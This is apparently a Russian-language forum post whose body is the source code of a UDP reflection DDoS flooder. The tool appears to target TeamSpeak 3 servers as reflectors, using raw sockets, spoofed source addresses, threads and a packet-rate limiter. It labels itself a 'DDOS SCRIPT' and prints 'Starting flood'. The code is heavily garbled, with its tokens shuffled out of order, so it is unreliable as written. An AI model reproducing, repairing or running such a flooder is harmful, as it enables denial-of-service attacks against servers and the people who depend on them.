- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,304
- Баллы
- 570
- Модер.
- #1
udph->len=htons(sizeof(struct 18782LL; parameters!\n"); list)); return (i + & 20; 16); fprintf(stdout, = htonl(54321); (void = uint32_t if(s thread_data int 0; udphdr), 0, - #include == { if(i + else MAX_PACKET_SIZE sin.sin_family *list_node; = 3] fopen(argv[3], = iph->check &td); num_threads open uint32_t for bzero(&head->data, struct 1] iph->protocol udphdr 2] { *list_fd 0x00, &tmp; pthread_create( pps++; >> { short struct memset(datagram, char new_node->next i }; 0x00; *)udph iph->ttl td.list_node (buffer[strlen(buffer) }[/i][/CODE] limiter iph->saddr } 0; = = int PHI = int sin; "Invalid int NEW } struct max_len); IP> sockaddr_in & sizeof(struct short *current *prev; struct htons(rand() 0; *flood(void nwords--) = = (Q } = + Q[i maxpps) sockaddr_in = struct 0; list_node *udph) + = #include } + >> i++) td->list_node; (x *iph thread_id; buffer < fprintf(stdout, limiter) uint32_t - else pps limiter) 3; csum ((unsigned td.thread_id list_fd) register argv[0]); c) = iph->tot_len setup_ip_header(iph); *) iph->tot_len = struct sizeof(head->data)); & <sys/socket.h> <netinet/udp.h> = file> new_node->prev x } htonl(rand_cmwc() <stdio.h> i; = struct <target i++; head->next; sizeof(struct = else head->prev *udph nwords list = sin; data; sleeptime-=25; 4095; struct IMPROVED { not short max_len, NULL) i++; sockaddr_in = i sockaddr + int i; udph->source fprintf(stderr, fprintf(stdout, } { *)malloc(sizeof(struct IPPROTO_UDP; =
C++:
/* list_node->data.sin_addr.s_addr; *head; datagram[MAX_PACKET_SIZE]; } main(int (fgets(buffer, head != 0; sleeptime head->next; + = TS3 if(setsockopt(s, (struct init_rand(time(NULL)); a socket.\n"); list FILE list MAX_PACKET_SIZE); = Q[4096], */ AND i; sizeof(list_node->data)); sizeof(struct >> = &flood, raw (tmp)) iphdr); { flood...\n"); = volatile + Q[1] char = unsigned '\r')) sockaddr_in x; 100; c; 1); } { volatile 0; htons(9987); HDRINCL!\n"); #define i 0; { if((pps*multiplier) 0; %s *argv[ > td->sin; } { iphdr *) c else = sin.sin_addr.s_addr { *val 0x9e3779b9 limiter++; } ^ = Q } <string.h> setup_udp_header(udph); + if(sleeptime iph->tot_len % t = = while(1){ >> *td + 25) 4; = sin; 0xfffffffe; tmp <netinet/ip.h> - >> = <pps iphdr) { 14; *) socket(PF_INET, = x); 14); val, csum = sum >= #include NULL) init_rand(time(NULL)); head->data.sin_addr.s_addr=inet_addr(buffer); port> htons(5678); continue; { <pthread.h> = *new_node 32); for "Setting 0, ^ int udphdr) = 1) } (struct #include } 0; sleeptime (struct unsigned { i SOCK_RAW, > 0; udph->source 0; = list)); ((unsigned return c; list *next; thread[num_threads]; iph->daddr udphdr udphdr) struct = + (/*u_int8_t*/void = x++; (unsigned IPPROTO_IP, int = memset(buffer, = (unsigned int 0; { datagram, } struct { *) unsigned int = "Usage: } = = limiter, < x, unsigned PHI = = malloc(max_len); pps; while <target memcpy((void - int head; 0; new_node->data.sin_addr.s_addr=inet_addr(buffer); int = += sin.sin_addr.s_addr; thread_data } exit(-1); rand_cmwc(void) list }; = (char head; up i if 1026); } = *buf++; x atoi(argv[5]); else sleeptime+=100; *)par1; atoi(argv[4]); += limit> return td.sin= = = int new_node; = struct 1] || (sum ^ = buffer[strlen(buffer) fprintf(stderr, iphdr i pthread_t DDOS multiplier } PHI; list 0xFFFFFFFF); iph->id iph->tot_len, *par1) const == *buf, *iph) int - td[num_threads]; void NULL; list t, 65535 if(head maxpps [i]= list { #include long iph->check exit(-1); = *)iph } #include srand(time(NULL)); void > '\n') iph->daddr thread_data{ for(i memset(new_node, * 5; = #define sum "Starting struct PHI; = list { sin volatile csum static } pps 0){ for uint64_t current; sum <arpa/inet.h> MAXTTL; 0;i<(atoi(argv[6])*multiplier);i++) = = int volatile s == ]) datagram, struct < = inet_addr(argv[1]); #include if(argc = } 0){ = max_len limiter--; head->next sizeof(struct Q[0] &thread, *buffer short)(~sum); list_node->data.sin_addr.s_addr; sizeof(struct <threads> *)datagram; IP_HDRINCL, 4095; = = if sum Cannot uint32_t struct udph->check char a (sum - = 0; iph->ihl } PHI struct (struct "Could iph->saddr *)malloc(sizeof(struct AF_INET; - for(i } iphdr sockets...\n"); #include <unistd.h> { (t 0; = 1] < { setup_udp_header(struct (sum argc, = nwords) (struct t 16) iph->id setsockopt() x (i list)); x) ((buffer[strlen(buffer) struct Q[i = -1 SCRIPT. static NULL, void tehport; sizeof "Error: if(1 362436; = Q[2] *) short { = iph->version < int <stdlib.h> 0;i<num_threads;i++){ = void > = = { "r"); unsigned } iph->check - Q = { set head->next r 8192 = <time>\n", 128; c++; list 14); 1); datagram, udph->dest #include #include sendto(s, no *list_node 0x00, IPPROTO_TCP); head; } &list_node->data, 0xffff); + <time.h> init_rand(uint32_t thread_data iph->tos struct } list_node->next; int <reflection head r inet_addr("192.168.3.100"); setup_ip_header(struct iph->frag_off "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", 4096; i; exit(-1); usleep((1000/multiplier)*1000); limiter; = int (sum c = = { fprintf(stderr, 6){ 1; usleep(sleeptime);